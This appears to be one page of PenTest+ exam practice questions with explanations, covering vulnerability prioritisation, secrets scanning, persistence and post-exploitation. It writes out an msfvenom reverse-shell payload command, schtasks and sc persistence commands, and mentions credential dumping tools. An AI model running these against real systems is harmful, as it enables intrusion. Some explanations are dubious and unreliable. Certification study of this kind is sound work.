A penetration tester downloads a JAR file that is used in an organization's production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the tester's activities?
A. SAST
B. SBOM
C. ICS
D. SCA
Explanation:
The tester’s activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known as Software Composition Analysis (SCA). Here’s why:
Understanding SCA:
Definition: SCA involves analyzing software to identify third-party and open-source components, checking for known vulnerabilities, and ensuring license compliance.
Purpose: To detect and manage risks associated with third-party software components.
Comparison with Other Terms:
SAST (A): Static Application Security Testing involves analyzing source code for security vulnerabilities without executing the code.
SBOM (B): Software Bill of Materials is a detailed list of all components in a software product, often used in SCA but not the analysis itself.
ICS (C): Industrial Control Systems, not relevant to the context of software analysis.
The tester’s activity of examining a JAR file for vulnerable components aligns with SCA, making it the correct answer.
A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:
Hostname | IP address | CVSS 2.0 | EPSS
hrdatabase | 192.168.20.55 | 9.9 | 0.50
financesite | 192.168.15.99 | 8.0 | 0.01
legaldatabase | 192.168.10.2 | 8.2 | 0.60
fileserver | 192.168.125.7 | 7.6 | 0.90
Which of the following targets should the tester select next?
A. fileserver
B. hrdatabase
C. legaldatabase
D. financesite
Explanation:
The question asks which system should be selected next for testing, meaning the tester must prioritize targets based on risk and likelihood of successful exploitation.
Two metrics are provided:
1️⃣ CVSS 2.0 (Common Vulnerability Scoring System)
Measures severity/impact of a vulnerability.
Scale: 0–10
Higher = more severe potential damage.
2️⃣ EPSS (Exploit Prediction Scoring System)
Measures probability that a vulnerability will be exploited in the wild.
Scale: 0–1
Higher = more likely attackers will exploit it.
Modern penetration testing prioritization focuses on real-world exploitability, not just severity.
Compare the Targets
Host — CVSS — EPSS — Interpretation
hrdatabase — 9.9 — 0.50 — Very severe, moderate likelihood
financesite — 8.0 — 0.01 — Severe but very unlikely exploit
legaldatabase — 8.2 — 0.60 — High severity + high likelihood
fileserver — 7.6 — 0.90 — Moderate severity + extremely likely exploit
Why fileserver is Correct
Even though its CVSS score is slightly lower, the EPSS score (0.90) is the highest.
This means:
There is a 90% predicted probability of exploitation.
Attackers are most likely to target this system.
PenTest+ prioritization emphasizes risk = severity × likelihood.
A vulnerability that is slightly less severe but very likely to be exploited is the highest operational risk.
Therefore, the tester should evaluate the fileserver next.
Why the Other Options Are Incorrect
B. hrdatabase
Highest CVSS (9.9) ✔
But EPSS only 0.50
Less likely to be exploited than fileserver.
C. legaldatabase
Good balance (8.2 / 0.60)
Still lower exploitation probability than fileserver.
D. financesite
EPSS = 0.01
Very unlikely to be exploited despite decent CVSS.
Lowest priority.
PenTest+ (PT0-003) Exam Concept
This question tests:
Vulnerability prioritization
Risk-based testing methodology
Understanding modern scoring systems:
CVSS → Impact
EPSS → Likelihood
PenTesters should prioritize realistic attack paths, not just theoretical severity.
References
FIRST.org — Exploit Prediction Scoring System (EPSS)
NIST Risk Model: Risk = Likelihood × Impact
CompTIA PenTest+ PT0-003 Objective: Analyze vulnerability scan results and prioritize remediation/testing.
During a penetration test, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard-coded credentials most effectively?
A. Run TruffleHog against a local clone of the application
B. Scan the live web application using Nikto
C. Perform a manual code review of the Git repository
D. Use SCA software to scan the application source code
Explanation:
When a penetration tester has access to the full source code repository containing thousands of files and the assessment timeline is very short, the most effective and efficient method to identify hard-coded credentials (such as API keys, passwords, tokens, database strings, etc.) is to use an automated secrets scanning tool specifically designed for this purpose.
TruffleHog is a popular, open-source secrets scanning tool that excels at exactly this scenario:
It scans entire Git repositories (including commit history) for hundreds of types of secrets using regex patterns and entropy detection.
It verifies many secrets (e.g., checks if an AWS key is active) to reduce false positives.
It runs very quickly even on large codebases.
It is explicitly covered in CompTIA PenTest+ PT0-003 under vulnerability discovery tools, secrets scanning, and code analysis techniques.
Given the time constraint and scale (thousands of files), automation is essential.
Why not the other options?
B. Scan the live web application using Nikto
Nikto is a web server vulnerability scanner that looks for misconfigurations, outdated software, dangerous files, etc. on a running web application. It does not analyze source code and cannot reliably find hard-coded credentials buried in the codebase (especially if they are not exposed in responses or logs). → Completely wrong tool for this task.
C. Perform a manual code review of the Git repository
Manual review of thousands of files is extremely time-consuming and impractical within a short timeline. Even an experienced tester would miss many secrets or take far too long. Automation is far superior here.
D. Use SCA software to scan the application source code
SCA (Software Composition Analysis) tools (e.g., OWASP Dependency-Check, Snyk, Dependabot) focus on vulnerable third-party libraries/dependencies and license issues — not on detecting hard-coded secrets or credentials in the code itself. While some modern SCA tools include basic secret scanning, the question emphasizes hard-coded credentials, and TruffleHog is the dedicated, faster, more specialized tool taught in PenTest+ for this exact purpose.
Key Reference & Learning Point
CompTIA PenTest+ PT0-003 objectives (Domain 2.0 – Information Gathering and Vulnerability Scanning / Domain 3.0 – Attacks and Exploits) include:
Tools for discovering secrets and credentials in source code.
TruffleHog is frequently highlighted in official study materials, training courses, and exam prep resources (along with tools like Gitleaks) as the go-to for repository secret scanning.
Industry standard: TruffleHog (by Truffle Security) is widely recognized for quickly finding leaked credentials in code repos, even scanning historical commits.
Bottom line:
With a massive repo and very limited time → clone it locally and run TruffleHog — that is the fastest, most effective way to uncover hard-coded credentials during a pentest.
A penetration tester wants to use the following Bash script to identify active servers on a network:
1 network_addr="192.168.1"
2 for h in {1..254}; do
3 ping -c 1 -W 1 $network_addr.$h > /dev/null
4 if [ $? -eq 0 ]; then
5 echo "Host $h is up"
6 else
7 echo "Host $h is down"
8 fi
9 done
Which of the following should the tester do to modify the script?
A. Change the condition on line 4.
B. Add 2>&1 at the end of line 3.
C. Use seq on the loop on line 2.
D. Replace $h with ${h} on line 3.
Explanation:
The issue lies in the loop on line 2:
for h in {1..254}; do
The brace expansion {1..254} is interpreted by the shell before the loop runs. In some shells (like Bash), this works fine, but in others or in certain contexts, it may not expand as expected.
To ensure portability and reliability, penetration testers often use seq to generate numeric ranges:
for h in $(seq 1 254); do
This guarantees that the loop iterates through all IP addresses from 192.168.1.1 to 192.168.1.254.
Other options explained:
A. Change the condition on line 4
Not necessary; $? -eq 0 correctly checks if the last command (ping) succeeded.
B. Add 2>&1 at the end of line 3
Redirecting stderr to stdout is not required since output is already being sent to /dev/null.
D. Replace h with ${h} on line 3
Both $h and ${h} work identically here; no functional change.
Thus, the correct modification is to use seq in the loop.
Reference
CompTIA PenTest+ PT0-003 Exam Objectives: Domain 4.0 – Tools and Code Analysis (covers scripting for automation in penetration testing).
GNU seq documentation: seq is a standard utility for generating sequences of numbers, commonly used in shell scripting.
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:="font-size: 10pt;">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?
A. regsvr32 /s /n /u C:\evil.xml
B. MSBuild.exe C:\evil.xml
C. mshta.exe C:\evil.xml
D. AppInstaller.exe C:\evil.xml
Explanation:
Let's break this down step by step. The question describes a specific scenario where the penetration tester uses msfvenom to generate shellcode (specifically for a Meterpreter reverse shell) and outputs it in the C# format. They then take this C# shellcode and place it inside a file named evil.xml.
The key here is understanding the relationship between the payload format (-f csharp) and the filename (.xml), and which native Windows binary is known to execute code from an XML file.
Understanding MSBuild.exe
MSBuild.exe is Microsoft's build platform for Visual Studio projects. It compiles and executes C# code defined in XML-based project files (.csproj, .xml).
It is a "Living off the Land" (LotL) binary, meaning it is a signed, native Windows executable that attackers abuse to bypass application whitelisting.
It can take an XML file as an argument, compile the C# code embedded within it on the fly, and execute it.
Why this scenario fits MSBuild:
The tester generated shellcode in C# format and put it into an XML file. This is the exact recipe for an MSBuild execution attack. The XML file would be structured to define a C# class and task that, when built by MSBuild, executes the embedded shellcode.
Analysis of the other options:
A. regsvr32.exe
This is used to register and unregister DLLs. It can be abused to execute scriptlets (.sct) remotely, but it does not compile C# from an XML file. The .xml extension is wrong for its typical attack vector.
C. mshta.exe
This executes Microsoft HTML Applications (.hta), which are essentially HTML applications that can run VBScript or JavaScript. It does not handle raw C# shellcode in an XML file.
D. AppInstaller.exe
This is used for installing Windows applications from the Microsoft Store or via App Installer files (.appinstaller). It is not a tool for compiling arbitrary C# code from a generic XML file.
Conclusion:
Since the payload was generated in C# and placed in an XML file, the tester needs a tool that can interpret XML, compile C#, and execute the result. That tool is MSBuild.exe.
Correct Answer:
B. MSBuild.exe C:\evil.xml
Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?
A. Creating registry keys
B. Installing a bind shell
C. Executing a process injection
D. Setting up a reverse SSH connection
Explanation:
In a Windows environment, creating or modifying specific Registry Run keys (such as HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run) is a classic method for achieving persistence. When a user logs in or the system boots up, the operating system automatically executes the file path specified in these keys. This ensures that the tester's malware or beacon restarts automatically without requiring a new exploit to be fired.
Incorrect Answers
B: Installing a bind shell
Reasoning: A bind shell opens a communication port on the victim's machine and waits for the attacker to connect. While this provides access, it is typically not persistent. If the system reboots or the process is killed, the bind shell is gone. Furthermore, bind shells are easily detected by firewalls blocking inbound traffic.
C: Executing a process injection
Reasoning: Process injection is an evasion and privilege escalation technique where malicious code is "hollowed" into a legitimate running process (like explorer.exe). While this hides the attacker's presence in memory, it is volatile. Once the process ends or the computer restarts, the injected code is lost.
D: Setting up a reverse SSH connection
Reasoning: A reverse SSH connection is a method of Command and Control (C2) or Exfiltration. While it helps bypass firewalls (outbound traffic is usually allowed), simply setting up the connection does not guarantee it will stay there. Without a "cron job" or a "startup service" to re-initiate the connection, it will terminate as soon as the session ends or the system reboots.
References
CompTIA PenTest+ (PT0-003) Objective 4.4: "Given a scenario, perform post-exploitation techniques." (Focus on Persistence mechanisms).
MITRE ATT&CK Framework: Technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder).
NIST SP 800-115: Technical Guide to Information Security Testing and Assessment.
A penetration tester performs an assessment on the target company's Kubernetes cluster using kube-hunter. Which of the following types of vulnerabilities could be detected with the tool?
A. Network configuration errors in Kubernetes services
B. Weaknesses and misconfigurations in the Kubernetes cluster
C. Application deployment issues in Kubernetes
D. Security vulnerabilities specific to Docker containers
Explanation:
Specialized Focus: kube-hunter is an open-source tool specifically engineered to hunt for security issues in Kubernetes clusters. It scans for common configuration errors that could lead to a cluster compromise.
Comprehensive Scanning: It identifies weaknesses such as an exposed API server, unauthenticated access to the Kubelet API, and insecure etcd configurations. It looks at the orchestration layer itself rather than just the applications or the underlying network.
Why other options are incorrect
❌ A. Network configuration errors in Kubernetes services
While kube-hunter might find an exposed port, its primary goal is not general network troubleshooting or VPC-level configuration; tools like Kube-bench or specialized network mappers are more suited for deep service-mesh networking audits.
❌ C. Application deployment issues in Kubernetes
kube-hunter focuses on the infrastructure/orchestration layer. It does not analyze the logic, code, or deployment health of the specific microservices/applications running inside the pods.
❌ D. Security vulnerabilities specific to Docker containers
Tools like Trivy, Clair, or Snyk are used to scan container images for known vulnerabilities (CVEs). kube-hunter focuses on the Kubernetes environment that manages those containers, not the contents of the Docker images themselves.
A penetration tester gains initial access to a target system by exploiting a recent RCE vulnerability. The patch for the vulnerability will be deployed at the end of the week. Which of the following utilities would allow the tester to reenter the system remotely after the patch has been deployed? (Select two).
A. schtasks.exe
B. rundll.exe
C. cmd.exe
D. chgusr.exe
E. sc.exe
F. netsh.exe
E. sc.exe
Explanation:
The question is asking about maintaining persistence after the original Remote Code Execution (RCE) vulnerability is patched.
Once the patch is applied, the initial exploit path disappears, so the penetration tester needs a way to reenter the system remotely using mechanisms already built into Windows.
This is a classic post-exploitation persistence scenario in the PenTest+ objectives.
✅ A. schtasks.exe — Correct
schtasks.exe is used to create or modify scheduled tasks in Windows.
A tester can create a task that:
Runs at system startup
Executes periodically
Launches a reverse shell or beacon
Runs under SYSTEM or another privileged account
Example persistence idea:
schtasks /create /sc onstart /tn updater /tr "C:\payload.exe" /ru SYSTEM
Even after patching, the scheduled task remains and executes automatically.
Why CompTIA likes this answer:
Scheduled tasks are a very common real-world persistence technique (MITRE ATT&CK: Scheduled Task/Job).
✅ E. sc.exe — Correct
sc.exe manages Windows services.
A penetration tester can:
Create a malicious service
Configure it to auto-start
Run a payload or backdoor with SYSTEM privileges
Example:
sc create updater binPath= "C:\payload.exe" start= auto
Services restart automatically and survive reboots and patches.
This is strong persistence because services often run with elevated privileges.
❌ Why the Other Options Are Wrong
B. rundll.exe
Used to execute DLL functions.
Helpful for execution or evasion, not persistence by itself.
Does not automatically reestablish access after patching.
Execution tool, not a persistence mechanism.
C. cmd.exe
Simply opens a command shell.
Provides no persistence or automatic reentry.
Temporary access only.
D. chgusr.exe
Used in Remote Desktop Session Host environments to switch install modes.
Not related to persistence or remote access.
Irrelevant to maintaining access.
F. netsh.exe
Configures network settings and firewall rules.
Could help enable connectivity but does not create persistence alone.
Support utility, not a reentry mechanism.
PenTest+ Exam Tip
When you see phrases like:
“after patch deployment”
“maintain access”
“reenter system later”
Think persistence techniques, especially:
Scheduled tasks (schtasks)
Services (sc)
Registry run keys
WMI subscriptions
Startup folders
A penetration tester is working on an engagement in which a main objective is to collect confidential information that could be used to exfiltrate data and perform a ransomware attack. During the engagement, the tester is able to obtain an internal foothold on the target network. Which of the following is the next task the tester should complete to accomplish the objective?
A. Initiate a social engineering campaign.
B. Perform credential dumping.
C. Compromise an endpoint.
D. Share enumeration.
Explanation:
This question describes a specific scenario and asks for the next logical step after gaining an internal foothold.
Understanding the Objective:
The main objective is to "collect confidential information that could be used to exfiltrate data and perform a ransomware attack." In penetration testing and real-world attack simulations (specifically ransomware simulations), after gaining initial access, the attacker's focus shifts to:
Privilege Escalation (if needed)
Credential Access (dumping hashes/passwords from memory or disk)
Lateral Movement (using those credentials to move to other systems)
Discovery/Enumeration (finding valuable data)
Why credential dumping is the next logical step:
Once a tester has a foothold on an internal system, they typically want to escalate their privileges and acquire valid credentials. With credentials (especially domain admin or high-value service accounts), the tester can:
Move laterally to other systems without triggering exploits
Access file shares and databases containing the "confidential information"
Deploy ransomware more effectively across the network
In the MITRE ATT&CK framework, this falls under TA0006 (Credential Access) and is a critical step before widespread lateral movement and data collection.
Analysis of options:
A. Initiate a social engineering campaign:
This is typically an initial access technique, not a post-exploitation step. The tester already has a foothold, so social engineering would be redundant at this stage. Incorrect.
B. Perform credential dumping:
This is correct. Tools like Mimikatz, secretsdump, or procdump can extract credentials from LSASS memory on Windows. These credentials enable the tester to move laterally and access the confidential information needed for the objective.
C. Compromise an endpoint:
The tester already has a foothold, meaning they have already compromised at least one endpoint. This is already done. Incorrect.
D. Share enumeration:
While share enumeration (finding accessible SMB shares, network folders, etc.) is important for finding where confidential data lives, it usually comes after obtaining credentials. Without proper credentials, the tester may only have limited access to shares. Credential dumping typically precedes share enumeration in the attack chain.
Conclusion:
After gaining a foothold, the priority is to extract credentials to expand access and reach the objective of collecting confidential information.
Correct Answer: B. Perform credential dumping
A penetration tester gains access to a host but does not have access to any type of shell. Which of the following is the best way for the tester to further enumerate the host and the environment in which it resides?
A. ProxyChains
B. Netcat
C. PowerShell ISE
D. Process IDs
Explanation:
The scenario describes a penetration tester who has gained access to a host (e.g., via file upload, command injection, exploit callback, or other means) but lacks any interactive shell (no reverse/bind shell, no cmd.exe/PowerShell prompt, no remote execution channel).
In this limited-access situation, the goal is to further enumerate the host (local info like users, processes, network config) and the environment (network connectivity, open ports, neighboring systems) without a full shell.
Netcat (nc) is the best tool here because:
It is extremely lightweight and often already present on targets (especially Linux/Windows variants like ncat).
It can be uploaded/executed via the existing access vector (e.g., via a vulnerable upload or command exec).
It enables network-based enumeration without needing a shell:
Port scanning (nc -zv host port or looping scripts).
Banner grabbing (nc host port to read service responses).
Setting up a simple listener or reverse connection attempt.
Basic connectivity testing to pivot or map the internal network.
In many real-world and exam scenarios, testers use Netcat to "phone home," test outbound restrictions, or relay basic commands/info when no shell exists yet.
This makes Netcat versatile for bridging the gap to fuller access or deeper enumeration.
Why not the other options?
A. ProxyChains
ProxyChains routes traffic through proxies (e.g., SOCKS from a compromised host). It requires a local proxy server running on the target (e.g., via ssh -D or redsocks), which needs shell-level control to set up. Without any shell, you cannot start the proxy, making it useless in this scenario.
C. PowerShell ISE
PowerShell Integrated Scripting Environment (ISE) is a GUI tool for writing and debugging PowerShell scripts on Windows. It requires:
An interactive desktop session (RDP or local login).
PowerShell execution policy allowing scripts.
Without a shell, there is no way to launch ISE or run commands interactively, making it not feasible.
D. Process IDs
This is not a tool or utility; it is simply a concept (PIDs identify running processes). Enumerating PIDs requires access to list processes (e.g., tasklist, ps, Get-Process), which needs a shell or execution capability. It is not a method or tool for enumeration.
Key Reference & Learning Point
MITRE ATT&CK: T1016 – System Network Configuration Discovery; T1046 – Network Service Discovery (Netcat is often used for basic port and service enumeration without a full shell).
CompTIA PenTest+ PT0-003 objectives (Domain 2.0 – Reconnaissance and Enumeration; Domain 3.0 – Attacks and Exploits): Covers tools for enumeration in constrained environments, including Netcat as a multi-purpose networking tool for banner grabbing, port scanning, and basic pivoting when shell access is absent.
This question (or very similar variants) appears in multiple PT0-003 practice exams, with Netcat consistently as the correct answer for no-shell enumeration scenarios.
Bottom line:
When you have foothold access but no shell, Netcat provides the most flexible and realistic way to probe the host's network environment and services to gather intelligence or set up better access.
| Page 6 out of 28 Pages |